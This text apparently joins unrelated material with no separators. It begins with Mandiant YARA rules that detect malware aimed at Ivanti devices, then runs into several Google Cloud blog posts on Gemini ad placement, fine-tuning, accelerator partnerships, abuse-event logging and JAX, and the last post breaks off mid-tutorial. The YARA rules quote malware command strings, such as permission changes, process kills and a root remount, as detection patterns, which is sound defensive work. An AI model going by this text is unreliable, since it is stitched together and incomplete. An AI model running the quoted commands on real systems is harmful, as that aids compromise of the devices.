rule M_APT_Installer_SPAWNANT_1
{ 
    meta: 
        author = "Mandiant" 
        description = "Detects SPAWNANT. SPAWNANT is an 
Installer targeting Ivanti devices. Its purpose is to persistently 
install other malware from the SPAWN family (SPAWNSNAIL, 
SPAWNMOLE) as well as drop additional webshells on the box." 
  
    strings: 
        $s1 = "dspkginstall" ascii fullword
        $s2 = "vsnprintf" ascii fullword
        $s3 = "bom_files" ascii fullword
        $s4 = "do-install" ascii
        $s5 = "ld.so.preload" ascii
        $s6 = "LD_PRELOAD" ascii
        $s7 = "scanner.py" ascii
        
    condition: 
        uint32(0) == 0x464c457f and 5 of ($s*)
}

rule M_APT_Tunneler_SPAWNMOLE_1
{ 
    meta: 
        author = "Mandiant" 
        description = "Detects a specific comparisons in SPAWNMOLE 
tunneler, which allow malware to filter put its own traffic . 
SPAWNMOLE is a tunneler written in C and compiled as an ELF32 
executable. The sample is capable of hijacking a process on the 
compromised system with a specific name and hooking into its 
communication capabilities in order to create a proxy server for 
tunneling traffic." 
        md5 = "4f79c70cce4207d0ad57a339a9c7f43c"
  
    strings: 
        /*
        3C 16                                cmp     al, 16h
        74 14                                jz      short loc_5655C038
        0F B6 45 C1                          movzx   eax, [ebp+var_3F]
        3C 03                                cmp     al, 3
        74 0C                                jz      short loc_5655C038
        0F B6 45 C5                          movzx   eax, [ebp+var_3B]
        3C 01                                cmp     al, 1
        0F 85 ED 00 00 00                    jnz     loc_5655C125
        */


        $comparison1 = { 3C 16 74 [1] 0F B6 [2] 3C 03 74 [1] 0F B6 [2] 
3C 01 0F 85 }

        /*
        81 7D E8 E2 E3 49 FB                 cmp     [ebp+var_18], 0FB49E3E2h
        0F 85 CD 00 00 00                    jnz     loc_5655C128
        81 7D E4 61 83 C3 1B                 cmp     [ebp+var_1C], 1BC38361h
        0F 85 C0 00 00 00                    jnz     loc_5655C128
        */

        $comparison2 = { 81 [2] E2 E3 49 FB 0F 85 [4] 81 [2] 61 83 C3 
1B 0F 85}
        
  
    condition: 
        uint32(0) == 0x464c457f and all of them
}

rule M_Dropper_PHASEJAM_1 {
    meta:
        author = "Mandiant"
        description = "Hunting rule looking for strings identified in the 
PHASEJAM dropper"
        md5 = "d18e5425ecd9608ecb992606b974e15d"
	strings:
	
		$str1 = "AccessAllow()"
		$str2 = "/jam/getComponent.cgi"
		$str3 = "jam/getComponent.cgi.bak"
		$str4 = "sh=$(echo CnN1Y"
		$str5 = "up=$(echo CnN1Y"
		$str6 = "grep -q 'sub AccessAllow()'"
		$str7 = "cp -f /home/bin/remotedebug /home/bin/remotedebug.bak"
		$str8 = "chmod 777 /home/bin/remotedebug.bak"
		$str9 = "cp -f /home/perl/DSUpgrade.pm /home/perl/DSUpgrade.pm.bak"
		$str10 = "pkill cgi-server"
	condition:
		8 of them and filesize < 20KB
          
}

rule M_Credtheft_DRYHOOK_1 {
    meta:
        author = "Mandiant"
        description = "Hunting rule looking for strings identified in 
the DRYHOOK credential stealer"
        md5 = "d4e46eed76ad86f08a40993c3e340bab"
	strings:
	
		$str1 = "/home/perl/DSAuth.pm"
		$str2 = "replace_content"
		$str3 = "replace1_content"
		$str4 = "replace2_content"
		$str5 = "pkill cgi-server"
		$str6 = "setPrompt ="
		$str7 = "runSignin = \*DSAuthc::RealmSignin_runSignin"
		$str8 = "/bin/mount -o remount,rw / > /dev/null 2>&1"
		$str9 = {64 61 74 61 20 3d 20 72 65 2e 73 75 62 28 62 22 
5c 2a 72 75 6e 53 69 67 6e 69 6e 45 42 53 4c 20 3d 2e 2a 3b 22 2c 
62 61 73 65 36 34 2e 62 36 34 64 65 63 6f 64 65 28 72 65 70 6c 61 
63 65 32 5f 63 6f 6e 74 65 6e 74 2e 65 6e 63 6f 64 65 28 29 29 2e 64 
65 63 6f 64 65 28 29 2e 65 6e 63 6f 64 65 28 22 75 6e 69 63 6f 64 65 
5f 65 73 63 61 70 65 22 29 2c 64 61 74 61 29}
	condition:
		8 of them and filesize < 20KB
          
}

Online video consumption has skyrocketed. A staggering 1.8 billion people globally subscribed to streaming services in 2023¹, and 92% of internet users worldwide watched online videos every month in 2024². This growth creates a significant opportunity for advertisers who want to reach their customers with great creative, but ineffective ad placement can disrupt their customers’ viewing experiences.

An important way to deliver a better ad experience is seamless ad integration, which means placing ads at natural breaks in video content to avoid interrupting the narrative flow. Scene change detection technology identifies these natural breaks by analyzing a video’s visual, audio, and textual elements. Google’s AI models such as Gemini offer a win-win for viewers and advertisers:

• Increased viewer engagement: Seamless ad integration minimizes disruption and enhances the viewing experience.

• Higher ad revenue: More relevant ads lead to better click-through rates and increased advertiser ROI.

• Simplified workflows: Google Cloud’s Vertex AI platform streamlines the entire video monetization process, from scene detection to ad placement.

To help you maximize the potential of your ad inventory, we’ll share how Google Cloud’s generative AI revolutionizes scene detection, leading to more effective ad placement, improved reach, higher viewer engagement, and ultimately, increased revenue for publishers.

The challenges of traditional ad break detection 

Traditional ad break detection methods, designed primarily for structured television content with fade-outs and fixed commercial breaks, often struggle to identify ideal ad placement points in today’s diverse video landscape. These methods—including shot boundary detection, motion analysis, audio analysis, and rule-based systems—can miss subtle transitions, misinterpret rapid movement, operate independently of visual context, lack flexibility, and rely on manual tagging. This is where Google’s Gemini models can help.

Intelligent scene detection with Google’s Gemini models

Gemini’s multimodal capabilities can analyze video, audio, and text simultaneously, enabling a level of nuanced scene understanding that was previously impossible. Now, we can ask Gemini to understand the nuances of video content and generate very granular contextual metadata, unlocking capabilities that were previously impossible to achieve efficiently.

Here are some examples of how Gemini identifies ad breaks and provides detailed contextual metadata:

This enriched metadata allows for the precise matching of the right ad to the right user at the right time. For example, the first ad break (Daytime to Evening Dinner), with its associated sentiment of “cheerful and relaxed,” might be ideal for advertisements that resonate with those feelings such as travel, entertainment or leisure products, rather than just a product like cookware. By understanding not just the basic context, but also the emotional tone of a scene, Gemini facilitates a new level of contextual advertising that is far more engaging for the viewer.

Proof point: The Google Cloud architecture 

Google Cloud, powered with the Gemini 1.5 Pro model, delivers a robust and scalable solution for intelligent ad break detection. Its multimodal analysis capabilities simultaneously process video, audio, and text to detect even subtle transitions, enabling seamless ad integration. Gemini’s ability to process up to 2 million tokens ensures comprehensive analysis of long videos across diverse genres with minimal retraining, offering versatility for media providers. This large context window allows the model to analyze approximately 2 hours of video and audio content in a single pass, which significantly reduces processing time and complexity compared to methods that require breaking videos into smaller chunks.

The architecture ensures high performance and reliability through these key stages:

1. Video Ingestion and Storage (GCS): Videos are ingested and stored in Google Cloud Storage (GCS), a highly scalable and durable object storage service offering various storage classes to optimize cost and performance. GCS ensures high availability and accessibility for processing.  Robust security measures, including Identity and Access Management (IAM) roles and fine-grained access controls, are in place.

2. Orchestration and simultaneous processing (Vertex AI pipelines & Gemini): Vertex AI pipelines orchestrate the end-to-end video analysis process, ensuring seamless execution of each stage. Vertex AI manages simultaneous processing of multiple videos using Google Gemini’s multimodal analysis, significantly accelerating the workflow while maintaining scalability. This includes built-in safety filters powered by Gemini, which perform a nuanced contextual analysis of video, audio, and text to discern potentially inappropriate content. The results are returned in JSON format, detailing scene change timestamps, video metadata, and contextual insights.

Post-processing is then applied to the JSON output to structure the data in a tabular format, ensuring compatibility with downstream storage and analysis tools. This includes:

• Standardizing timestamps: Ensuring uniform time formats for consistent querying and integration.

• Metadata mapping:  Beyond basic metadata extraction, this stage includes the classification of scenes (or entire video programs) into industry standard taxonomies, such as the IAB’s, or  the customer’s own custom taxonomies. This allows for more granular organization of video content based on their type and provides an easier method of ad targeting.

• Error handling and data validation: Filtering out incomplete or invalid entries to maintain data quality.

3. Structured data storage and enrichment (BigQuery): The structured data resulting from Gemini’s scene change detection analysis, including timestamps, metadata, and contextual insights, is stored in BigQuery. BigQuery ML can leverage this integrated data to build predictive models for ad placement optimization. For example, you can schedule a 15-second action-themed ad during a scene change in an action sequence, targeting viewers who frequently watch action movies in the evening.

4. Monitoring and logging (GCP operations suite): GCP Operations Suite provides comprehensive monitoring and alerting for the entire pipeline, including real-time visibility into job progress and system health.  This includes detailed logging, automated alerts for failures, and dashboards for key performance indicators.  This proactive approach ensures timely issue resolution and maximizes system reliability.

Conclusion:  A win-win for viewers and advertisers

Ready to transform your video ad strategy? Learn more about Google Cloud, Gemini and BigQuery.For developers looking to get hands-on experience, you can also explore this notebook detailing how to use the Gemini API for video analysis

<sup>1. Statista. (2024). Online video viewers worldwide quarterly.
2. Exploding Topics. (2024). 50+ video streaming stats: Key trends in 2024.</sup>

Foundation models such as Gemini have revolutionized how we work, but sometimes they need guidance to excel at specific business tasks. Perhaps their answers are too long, or their summaries miss the mark. That’s where supervised fine-tuning (SFT) comes in. When done right, it unlocks incredible precision to tailor Gemini for specialized tasks, domains, and stylistic nuances. 

In an earlier blog, we covered when to embrace SFT and how it compares to other methods for optimizing your model’s output. In this blog, we’ll go deeper into how developers can streamline their SFT process, including: 

1. Selecting the optimal model version

2. Crafting a high quality dataset

3. Best practices to evaluate the models, including tools to diagnose and overcome problems.

1. Establish a baseline and select your model

First, evaluate your foundation model on a representative dataset before fine-tuning to quantify improvements. This helps you understand its initial capabilities and identify areas for targeted improvement. Here are three key things to analyze:

• Initial performance: Assess how the model performs without any training (zero-shot) and potentially with a few examples (few-shot).

• Metrics: Select evaluation metrics aligned with your specific task, like exact match, BLEU or  ROUGE.

• Data: Ensure your evaluation dataset is diverse and representative of the real-world data the model will encounter.

Analyzing these baseline results, especially where the model struggles, is crucial for defining an effective fine-tuning strategy. When fine-tuning Gemini, you have a couple models to choose from:

• Gemini 1.5 Pro: Google’s best model for general performance. 

• Gemini 1.5 Flash: Google’s model that is designed for  cost-performance and low latency

Choosing the right model involves two key considerations:

1. Align the model with your use case: Before using SFT start with the model that most easily achieves your desired functionality. If your application requires high accuracy and complex reasoning, begin with Gemini Pro. If this works, then you can begin to look at cost. For example, you could try SFT on Flash, so that you have better latency and cheaper inference.

2. Efficiently improving the model with your data: Before fine-tuning a larger model like Gemini Pro, it’s often beneficial to test your tuning data on a smaller, less expensive model like Gemini Flash first. This allows you to verify that your data is actually improving the model’s performance. If the performance is not good enough you can always switch to a larger model. If your tuning data effectively improves the smaller model’s accuracy, then it indicates that your data has good quality, and there is a good chance that tuning the larger model with this data will be effective, too.

Consider your data 

SFT isn’t just about throwing labeled data at a model; it’s a nuanced process where the right choices are crucial. To adapt a foundation model for specific tasks, we fine-tune it with a labeled dataset. This dataset contains inputs (like an earnings report) and their desired outputs (like a summary).

Machine learning thrives on data. The success of your supervised fine-tuning depends significantly on the quality of your tuning data. Here are some essential guidelines to follow.

Quality vs quantity

Quality vs. quantity in your training data is crucial. Vertex AI leverages Low-Rank Adaptation (LoRA) for efficient fine-tuning, freezing the original model weights and injecting trainable matrices to adjust model behavior effectively with a small number of trainable parameters. This means faster fine-tuning, fewer resources, and less reliance on massive datasets. 

Focus on high-quality examples that are:

• Relevant: Closely aligned with your specific fine-tuning task.

• Diverse: Covering a wide range of potential inputs and scenarios.

• Accurate: Featuring correct labels and outputs.

While more data can improve a model, it often needs fewer training epochs and at some point you might have diminishing returns. It’s not worth tuning on the same cluster over and over again. A smaller, refined and representative dataset often outperforms a large, noisy one. Small datasets have the risk of overfitting, so you may want to control your number of epochs. You can start with around 100 examples to validate the effectiveness of tuning. Then scale up to cover more corner cases or categories. 

Data pre-processing

Pre-processing is a critical step in preparing data for supervised fine-tuning of large language models (LLMs). Research has shown that one of the most crucial pre-processing steps is deduplication.  which involves identifying and removing duplicate data points. Duplicate examples in training data can lead to several issues: memorization, which hinders generalization; and inefficient training, as the model redundantly learns from similar clusters. Duplicate or near-duplicate examples between training and validation/test sets causes data leakage, artificially inflating performance.

For deduplication, leverage techniques like exact and fuzzy matching, and clustering. Tools like ExactSubstr deduplication can efficiently handle larger datasets. Furthermore, explore data augmentation to enhance data diversity and model robustness.

Be aware that pre-processing can also help with evaluating the performance of your fine-tuned model. For example you might want to deal with letter cases, remove extra whitespace and deal with punctuation. 

2. Add instructions to your dataset

Including instructions in your fine-tuning dataset helps boost the performance. The model learns to condition its output on the given instructions, improving its ability to perform the desired task and generalize to similar, unseen instructions. Reducing the need for lengthy and complex prompts during inference. There are two primary methods: system instructions and text prompts, both are optional but can improve the performance. 

System instructions provide global directives, shaping the overall response style. For example,  "Answer in JSON format" enforces structured outputs, while "You are an expert in bioinformatics" sets the response domain. ` .

Instance-level instructions offer example-specific guidance embedded within the model input. For instance,  "Summarize the following research paper, focusing on the methodology and key findings:"directs the model to extract specific information.

Experimenting with different instruction styles, informed by resources like the Gemini prompting strategies, is important. You can experiment by prompting the Gemini model before adding the instruction to the dataset. Adding few-shot examples to your dataset will not give additional benefit. Crucially, ensure the prompts and instructions used in your fine-tuning dataset closely resemble those you plan to use in production. This alignment is vital for optimal performance.

Training-serving skew

A critical factor influencing fine-tuning effectiveness is the alignment between your tuning data and production data. Divergence in aspects like format, context, or example distribution can significantly degrade model performance. For instance, if your tuning data consists of formal language examples and your production data includes informal social media text, the model may struggle with sentiment analysis. To prevent this, carefully analyze your training and production data. Techniques like data augmentation and domain adaptation can further bridge the gap and enhance the model’s generalization capabilities in production.

Focus on complex examples

When fine-tuning, it’s tempting to throw all your data at the model and hope for the best. However, a more strategic approach focuses on examples that the base model finds difficult.  

Instead, identify the specific areas where the model struggles. By curating a dataset of these challenging examples, you can achieve more significant improvements with less data. This targeted approach not only boosts performance but also makes your fine-tuning process more efficient. During the benchmarking process, analyze the model’s performance on a diverse dataset. Identify examples where the model struggles with specific tasks, formats, or reasoning abilities. Then add these examples to your training dataset and you might want to find extra examples and add those to your evaluation dataset to prevent leakage. 

The importance of a validation dataset

Always incorporate a well-structured validation dataset into your fine-tuning process. This separate set of labeled data serves as an independent benchmark to evaluate your model’s performance during training, helping you to identify overfitting and choose the epochs to stop training at, and ensuring the model generalizes well to unseen data. The validation dataset should be representative of the real-world data that will be used during inference. 

Data formatting

In supervised fine-tuning, the model learns from a labeled dataset of input-output pairs. To use SFT for Gemini your data needs to be in a specific format in a JSONL file. Adding instructions to your dataset helps guide the model during the fine-tuning process. You can add a systemInstruction and additional instructions to the contents fields, each containing role and parts to represent the conversation flow and content. You do this for each of the lines (sample) in your JSON file. For instance, a systemInstruction might specify the persona of the LLM, while the contents would include the user query and the desired model response. A well-structured dataset in the correct format is crucial for effective knowledge transfer and performance improvement during fine-tuning. Here’s an example (datapoint) of the required format for your dataset:

 3. Hyperparameters and performance

When you start with fine-tuning it’s important to choose the right hyperparameters. Hyperparameters are the external configuration settings that govern the training process of a large language model which ultimately determine the model’s performance on a given task. When fine-tuning Gemini you can follow the guidance below to set the hyperparameters (epochs, learning rate multiplier and adapter size): 

Gemini 1.5 Pro

• Text fine-tuning: with a dataset size of <1000 examples and average context length <500, we recommend setting epochs = 20, learning rate multiplier = 10, adapter size = 4. With a dataset size >= 1000 examples or average context length >= 500, we recommend epochs = 10, learning rate multiplier = default or 5, adapter size = 4.

• Image fine-tuning: with a dataset size of ~1000 examples start with epochs = 15, learning rate multiplier = 5 and adapter size = 4. Increase the number of epochs when you have <1000 samples and decrease when you have >1000 examples.

• Audio fine-tuning: we recommend setting epochs = 20, learning rate = 1 and adapter size = 4.

Gemini 1.5 Flash

• Text fine-tuning: with a dataset size of <1000 examples and average context length <500, we recommend setting epochs = default, learning rate multiplier = 10 and adapter size = 4. With a dataset size >= 1000 examples or average context length >= 500, we recommend epochs = default, learning rate multiplier = default and adapter size = 8.

• Image fine-tuning: with a dataset size of <1000 examples and average context length <500, we recommend setting epochs >=15 (increase when you have less examples), learning rate multiplier = 5 and adapter size = 16. With a dataset size of >= 1000 examples or average context length >= 500, we recommend setting epochs <=15 (decrease when you have me examples), learning rate multiplier = default and adapter size = 4. 

• Audio fine-tuning: we recommend setting epochs = 20, learning rate = 1 and adapter size = 4.

Audio use cases like Automated Speech Recognition (ASR) use cases might need a higher epochs setting to reach optimal results. Start with the settings mentioned above and based on your evaluation metrics you can increase the number of epochs.

After your initial run, iterate by adjusting the hyperparameters and closely monitoring key training and evaluation metrics. key training metrics. Two primary metrics to monitor during fine-tuning are:

• Total loss measures the difference between predicted and actual values. A decreasing training loss indicates the model is learning. Critically, observe the validation loss as well. A significantly higher validation loss than training loss suggests overfitting.

• Fraction of correct next step predictions measures the model’s accuracy in predicting the next item in a sequence. This metric should increase over time, reflecting the model’s growing accuracy in sequential prediction.

Monitor these metrics for both your training and validation datasets to ensure optimal performance depending on the task, consider other relevant metrics. To monitor your fine-tuning job, use the Google Cloud Console or Tensorboard. An “ideal” scenario for the metrics would be something like this:

Remember: These are just starting points. Experimentation is key to finding the optimal hyperparameters for your specific fine-tuning task. You might also want to follow some of the best steps below based on the performance of your fine-tuning experiment. 

Suboptimal performance

How to spot this: Training loss and validation loss decrease as training progresses, but the validation loss does not converge or reach a minimum. 

Possible causes: The training dataset may be too small or lack sufficient diversity to represent the real-world scenarios the model will encounter. 

How to alleviate: Increase the number of epochs or the learning rate multiplier to speed up the training. If that doesn’t work you can gather more data. 

Overfitting

How to spot this: During training, the training loss decreases consistently, but the validation loss decreases initially and then starts to increase. This divergence indicates that the model is learning the training data too well and is failing to generalize to new data. 

Cause: The model has too much capacity (e.g., too many layers or parameters) relative to the size and complexity of the training data.

How to alleviate: Decrease the number of epochs to the point where validation loss reaches the minimum. Or Increase the effective size and diversity of the training data.

Potential data issues

How to spot this: The initial loss of training data is very high (>10) indicates that the model’s prediction is very far from the label.

Cause: There could be issues with your training dataset. One typical example is that the input length exceeds the maximum context length, which leads to truncation. 

How to alleviate: Double check your training dataset to make sure it follows the best practice from the previous section. 

Evaluate your model

Evaluating the performance of fine-tuned language models is crucial for understanding its performance, checkpoint selection and hyperparameter optimization. Evaluation can be challenging for generative models, as their outputs are often open-ended and creative. To gain a holistic understanding of performance, it’s best to combine different evaluation approaches, primarily utilizing a blend of auto-metrics and model-based evaluation, potentially calibrated with human evaluation.

Auto-metrics: These metrics provide quantitative measures by comparing the model’s output to a ground truth. While they may not capture nuanced aspects like factuality, they remain valuable due to their:

• Speed: Auto-metrics are computationally inexpensive and fast to calculate.

• Objectivity: They offer consistent, objective measurements, enabling reliable progress tracking and model comparisons.

• Interpretability: Metrics like accuracy, F1 score, or BLEU are widely understood and provide readily interpretable results.

It’s crucial to select appropriate auto-metrics based on the task. For instance:

• BLEU Score (translation and summarization): Measures n-gram overlap between generated and reference text, focusing on precision.

• ROUGE (summarization): Evaluates n-gram overlap with an emphasis on recall.

Model-based metrics: These methods leverage a language model as a judge (Autorator) to assess the quality of generated output based on predefined criteria, aligning more closely with the task evaluation rubrics. For example, you might use model based evaluation to assess the factual accuracy or logical consistency of a response.

Human Evaluation: While human judgment remains the gold standard, its cost and scalability limitations make it less practical for continuous evaluation during fine-tuning. Instead, we can strategically use human evaluation to calibrate model-based evaluators (autoraters). This involves collecting a smaller but high-quality dataset of human judgments and training the autorater to mimic these judgments. We can then rely on the autorater during the tuning process and conduct a final round of validation with human raters to ensure the chosen checkpoint meets the desired quality standards.

What’s next?

Ready to get started? Dive into our Generative AI repository and explore notebooks like our how to use supervised fine tuning. Experience the transformative potential of SFT on Vertex AI, and tailor your AI applications for peak performance and customization.

Want to fine-tune a Gemini model? Head over to the Vertex AI documentation to see which ones you can customize.

If you want to learn more about Generative AI and fine-tuning please have a look at our 5-Day Gen AI Intensive Course. 

^{A special thanks to May Hu, Yanhan Hou, Xi Xiong, Sahar Harati, Emily Xue and Mikhail Chrestkha from Google Cloud for their contributions.}

At Google Cloud, we focus on building the most competitive and powerful network of support for startups. One of the ways we show our support is by partnering with investors, accelerators, and incubators to deliver the resources and benefits that help startups succeed.

For example, we are proud to partner with marquee institutions who invest in the next generation of founders like Y Combinator. We have also extended our network of partnerships to accelerators worldwide who support founders with mentorship, education, and in some cases, investment, such as ERA and AI2 Incubator.

In 2024, we worked with over 300 accelerators worldwide to help thousands of startups and over 3,000 founders build with Google. We’ve extended benefits to these startups including access to Startup Success Managers, Customer Engineers, and AI product teams, dedicated packages of credits, and technical programming like workshops and office hours.

Today, we’re proud to announce our latest partnerships with three more accelerators – Berkeley SkyDeck, Upekkha, and UnternehmerTUM – and highlight some of the companies we’re supporting through them.

Introducing our latest accelerator partnerships

Berkeley SkyDeck is the only university accelerator partnering with a leading venture capital fund. Berkeley’s mission emphasizes long-term societal benefit, and prioritizes companies that align with this vision. Several SkyDeck companies are already running on Google Cloud, including:

• Deeli AI, an AI-powered platform that helps companies discover and evaluate emerging technologies to make informed investment decisions. They currently build their product and data pipeline on various services such as GCE, Cloud Run, and Dataflow, and interact with models from the Vertex AI Model Garden.

• ContextQA is Agentic AI for software testing, providing 12x the value by enabling accurate, user-centric test automation from day zero of development and helps to deliver bug-free product 40% faster. ContextQA uses Gemini models to continuously compare actual application behavior with expected behavior, adapting automatically to new changes for immediate agility.

• T-Robotics provides pre-trained AI skills for robots that make commercial robots intelligent and robust.  These skills are programmed through a conversational robot agent that leverages visual, haptic, action and language models – including Google Cloud’s Gemini – to seamlessly interpret and adapt to diverse industrial environments.

“Our partnership with Google Cloud enables startups to build better and faster, which is crucial for their success. Beyond the technology and services provided, we foster meaningful connections between our startups and Googlers, facilitating discussions on industry trends and innovations in AI.” – Taylor Marcus, Head of Business Development at Berkeley Skydeck

Upekkha helps Indian founders build vertical AI companies that sell globally, with intense coaching, a network of founders, and capital. Google Cloud is partnering with them to support:

• Outpost is a platform for AI/ML and data teams to train, fine tune, and deploy genAI models with managed infrastructure, tools, and workflows.

• Labellerr‘s data labeling engine uses automated annotation, and smart QA, processing millions of images and thousands of hours of videos in just a few weeks using Google Vertex AI Integration and Cloud Run, which previously took months for ML teams.

• Bynry’s SMART360 leverages Google Cloud’s robust infrastructure to empower small and mid-sized utilities to enhance operational efficiency and customer satisfaction. 

“Google Cloud has technology that just works. You can tell they actually listen to developers. They don’t just give out credits; they help founders understand how to use their technology.” – Thiyagarajan Maruthavanan (Rajan) – Managing Partner, Upekkha

UnternehmerTUM is the leading center for innovation and business creation in Europe with more than 50 high-growth technology start-ups every year, and offers complete service from initial idea to IPO. Startups supported by them include:

• Kraftblock’s innovative technology offers unparalleled large-scale, long-duration energy storage, empowering industries to transition towards sustainable thermal processes. The green tech company is using Google’s Compute Engine to power their simulations.

• tulanā’s highly customizable platform uses forecasting, optimization, simulation and AI to help enterprise clients take better decisions across their supply chains. tulanā is using Google Cloud Run to horizontally scale its optimization workloads, Google’s Gemini model for intelligent ETL processes, and Cloud SQL and Big Query to store customer data.

• SE3 Labs specializes in 3D computer vision and AI. They develop advanced technologies to create “Spatial GPTs,“ which are essentially AI models that can understand and interact with the world in 3D. The startup loves using Google Cloud Run for their deployment.

“We chose to partner with Google Cloud because their innovation-driven approach aligns closely with our mission to empower high-tech startups. Google Cloud’s advanced infrastructure, AI, and data analytics capabilities offer exceptional tools that support our founders in building robust, scalable solutions, from market entry to growth.”– Barbara Mehner, Managing Partner at XPRENEURS by UnternehmerTUM

Building on a history of support with accelerators 

These new partnerships expand on our existing work with accelerators to help bring leading cloud, AI models, and AI-optimized infrastructure to the companies they support. These include:

• 500 Global is a multi-stage venture capital firm. Its investments and flagship accelerator help founders with access to a supportive global network of those who’ve successfully built startups before. Notable alumni include Intercom, Talkdesk, Innovaccer, Babylist and Solana.

• Techstars provides individualized care with its small cohort size and mentor-driven approach across more than 30 cities worldwide.

• Antler is a global early-stage VC that operates in 30 cities across major entrepreneurial hubs, with a proven process to back founders from pre-seed to Series C. Their flagship Residency Program empowers founders to find the right co-founders, validate and build ideas rapidly, and secure funding to launch and scale impactful ventures.

• StartX is the non-profit startup community, accelerator, and fellowship program for over 2,500 Stanford University founders, offering support without requiring equity.

• Plug and Play operates over 100 accelerator programs globally, accelerating more than 2,500 startups annually. Its portfolio includes over 30 unicorns and a network of 90,000 startups worldwide. They offer mentorship and access to a vast network of investors and industry leaders.

• Gener8tor offers 75 programs globally, each with a highly selective, concierge-level experience startups that are selected.

• MassChallenge stands out as an impact-focused, zero-equity accelerator, which allows startups to receive world-class support without giving up any ownership.

• IIT Madras Incubation Cell is deeply integrated with India’s top engineering institute and provides a unique ecosystem that nurtures R&D-driven, deep-tech startups.

• nasscom GenAI Foundry offers Indian GenAI startups access to GPU resources, fundraising, paid pilot and showcase opportunities, enablement on go-to-market, technology, Responsible AI, and intellectual property, through a network of 3,500+ industry members and subject matter experts.

• Lanzadera is a prominent accelerator in Spain, unique in its adoption of a management model that drove its founder’s success in business, and its close collaboration with the business school EDEM and investment fund Angels, creating a flywheel of innovation.

We’re excited about all of the opportunities that will come from these new partnerships, as well as the increasing value of relationships we have with other accelerators. All of these programs and strategies illustrate our ever-expanding commitment to founders and startups that stand on the front lines of innovation. 

Learn more

Companies who work with these accelerators should reach out to their accelerator Program Manager to learn more about getting started with Google Cloud.

At Google Cloud, we are deeply committed to partnering with our customers to help achieve stronger security outcomes. 

As a part of this commitment, we’re excited to announce that Google Cloud customers can now track Cloud Abuse Events using Cloud Logging. These events can include leaked service account keys, crypto mining incidents, and malware. 

When we identify one of these abuse issues that’s affecting your cloud resources, you’ll now receive two detailed notifications: one in a structured log format, and an email notification. 

Cloud Abuse Event Logging is focused on providing a more efficient and effective method for customers to receive important abuse and security notifications. Previously, notifications were sent to customers only in an email, which at times created challenges around consistency, automation, and continuity.

In response to customer feedback, we developed Cloud Abuse Event Logging to help supplement email notifications. By leveraging these log notifications, customers can consume these logs and develop consistent automated processes to resolve abuse and security issues more efficiently and effectively. Here are few benefits:

• Direct access in Cloud Logging: These notifications are readily available as logs in Cloud Logging, making them easier to find and manage.

• Enhanced automation: The structured log format allows you to integrate these notifications into your existing security monitoring and incident response systems, which can help reduce the time it takes to address potential threats.

• Historical trend analysis: Gain insights into past abuse events to identify patterns and proactively strengthen your security measures.

This new logging system reinforces our commitment to our customers, aligns with our shared fate model, and makes Google Cloud more secure. Cloud Abuse Events are provided on a best-effort basis to assist you in identifying potential abuse and we encourage you to combine these notifications with your own security practices for comprehensive protection. 

Monitoring and dashboarding

This new integration of Cloud Abuse Events with Cloud Logging helps you strengthen your security with automated and timely notifications. You can use Cloud Monitoring to observe trends in your logs and notify you when specific conditions are met, such as receiving important types of abuse events. For example, based on the logs provided via Cloud Abuse Events, you can configure an alerting policy to notify you whenever we’ve become aware that your service account key has been leaked to the public.

You can also set up custom dashboards for your logs to get insights into the overall health and security of your environment. Cloud Abuse Events in Cloud Logging gives you many flexible options to effectively manage your security and monitoring. For example, if you’d like to aggregate the logs from each project in one place, an aggregate sink at the organization level may be useful. Additionally, you can use Log Analytics to run queries that analyze your log data, which allows you to easily chart and query results and can help uncover patterns and trends in your logs.

Automate response to abuse events

There are several ways to detect and respond to Cloud Logging events in real-time. For example, if you would like to configure automated deprovisioning of a VM after cryptomining has been detected on the instance, you can follow these steps:

1. Create a Logging sink to direct crypto mining related Abuse Events to your business logic. You can use the following filters to isolate these logs:

1. resource.type="abuseevent.googleapis.com/Location"

2. jsonPayload.detectionType="CRYPTO_MINING"

You can ingest Cloud Abuse Event logs into Google Security Operations which lets you store, search, and examine aggregated security information for your enterprise. If you prefer to export your abuse logs to an external security information and event management system (SIEM) for further analysis or custom automation, you’ll need to route your logs to a supported destination, such as a Google Cloud Storage bucket or a Pub/Sub topic that can provide support for third-party integrations.

You can learn more about responding to abuse notifications and warnings by visiting our documentation. For technical information about our Cloud Abuse Event log payload format, please click here.

Like many PyTorch users, you may have heard great things about JAX — its high performance, the elegance of its functional programming approach, and its powerful, built-in support for parallel computation. However, you may have also struggled to find what you need to get started: a straightforward, easy-to-follow tutorial to help you understand the basics of JAX by connecting its new concepts to the PyTorch building blocks that you’re already familiar with. So, we created one! 

In this tutorial, we explore the basics of the JAX ecosystem from the lens of a PyTorch user, focusing on training a simple neural network in both frameworks for the classic machine learning (ML) task of predicting which passengers survived the Titanic disaster. Along the way, we introduce JAX by demonstrating how many things — from model definitions and instantiation to training — map to their PyTorch equivalents.

You can follow along with full code examples in the accompanying notebook: https://www.kaggle.com/code/anfalatgoogle/pytorch-developer-s-guide-to-jax-fundamentals 

Modularity with JAX

As a PyTorch user, you might initially find Jax’s highly modularized ecosystem to be quite different than what you are used to. JAX focuses on being a high-performance numerical computation library with support for automatic differentiation. Unlike with PyTorch, it does not try to have explicit built-in support for defining neural networks, optimizers, etc. Instead, JAX is designed to be flexible, allowing you to bring in your frameworks of choice to add to its functionality. 

In this tutorial, we use the Flax Neural Network library and the Optax optimization library — both very popular, well-supported libraries. We show how to train a neural network in the new Flax NNX API for a very PyTorch-esque experience, and then show how to do the same thing with the older, but still widely-used Linen API.

Functional programming

Before we dive into our tutorial, let’s talk about JAX’s rationale for using functional programming, as opposed to the object-oriented programming that PyTorch and other frameworks use. Briefly, functional programming focuses on pure functions that cannot mutate state and cannot have side effects, i.e., they always produce the same output for the same input. In JAX, this manifests through significant usage of composable functions and immutable arrays. 

The predictability of pure functions and functional programming unlocks many benefits in JAX, such as Just-In-Time (JIT) compilation, where the XLA compiler can significantly optimize code on GPUs or TPUs, for major speed-ups. Moreover, they also make sharding and parallelizing operations much easier in JAX. You can learn more from the official JAX tutorials. 

Do not be deterred if you’re new to functional programming — as you will soon see, Flax NNX hides much of it behind standard Pythonic idioms. 

Data loading

Data loading in JAX is very straightforward — just do what you already do in PyTorch. You can use a PyTorch dataset/dataloader with a simple collate_fn to convert things to the Numpy-like arrays that underlie all JAX computation.

Model definition

With Flax’s NNX API, defining your neural networks is very similar to doing so in PyTorch. Here we define a simple, two-layer multilayer perceptron in both frameworks, starting with PyTorch.

NNX model definitions are very similar to the PyTorch code above. Both make use of __init__ to define the layers of the model, while __call__ corresponds to forward.

Model initialization and usage

